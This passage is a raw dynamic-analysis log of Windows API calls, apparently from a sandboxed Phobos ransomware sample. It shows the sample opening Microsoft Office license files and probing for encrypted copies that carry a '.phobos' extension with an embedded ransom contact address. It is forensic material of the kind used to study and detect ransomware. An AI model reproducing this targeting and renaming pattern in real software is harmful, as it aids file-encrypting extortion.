hTemplateFile=0x0) returned 0xffffffff [0152.858] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.859] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0152.859] CloseHandle (hObject=0x564) returned 1 [0152.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms")) returned 0x220 [0152.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.859] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.860] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24369) returned 1 [0152.860] CloseHandle (hObject=0x564) returned 1 [0152.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms")) returned 0x220 [0152.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.860] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.861] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.861] CloseHandle (hObject=0x564) returned 1 [0152.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms")) returned 0x220 [0152.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.861] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.862] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0152.862] CloseHandle (hObject=0x564) returned 1 [0152.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms")) returned 0x220 [0152.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.862] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.862] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24369) returned 1 [0152.863] CloseHandle (hObject=0x564) returned 1 [0152.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms")) returned 0x220 [0152.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.863] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.863] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.863] CloseHandle (hObject=0x564) returned 1 [0152.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms")) returned 0x220 [0152.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.865] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.866] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0152.866] CloseHandle (hObject=0x564) returned 1 [0152.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms")) returned 0x220 [0152.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.866] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.867] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24369) returned 1 [0152.867] CloseHandle (hObject=0x564) returned 1 [0152.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms")) returned 0x220 [0152.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.867] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.868] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.868] CloseHandle (hObject=0x564) returned 1 [0152.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms")) returned 0x220 [0152.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.868] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.868] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11235) returned 1 [0152.868] CloseHandle (hObject=0x564) returned 1 [0152.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0152.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.869] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.869] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23860) returned 1 [0152.869] CloseHandle (hObject=0x564) returned 1 [0152.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0152.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.870] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.870] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11694) returned 1 [0152.870] CloseHandle (hObject=0x564) returned 1 [0152.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0152.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.871] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.871] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23776) returned 1 [0152.871] CloseHandle (hObject=0x564) returned 1 [0152.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms")) returned 0x220 [0152.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.872] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.872] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11644) returned 1 [0152.873] CloseHandle (hObject=0x564) returned 1 [0152.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.873] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.874] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11215) returned 1 [0152.874] CloseHandle (hObject=0x564) returned 1 [0152.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms")) returned 0x220 [0152.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 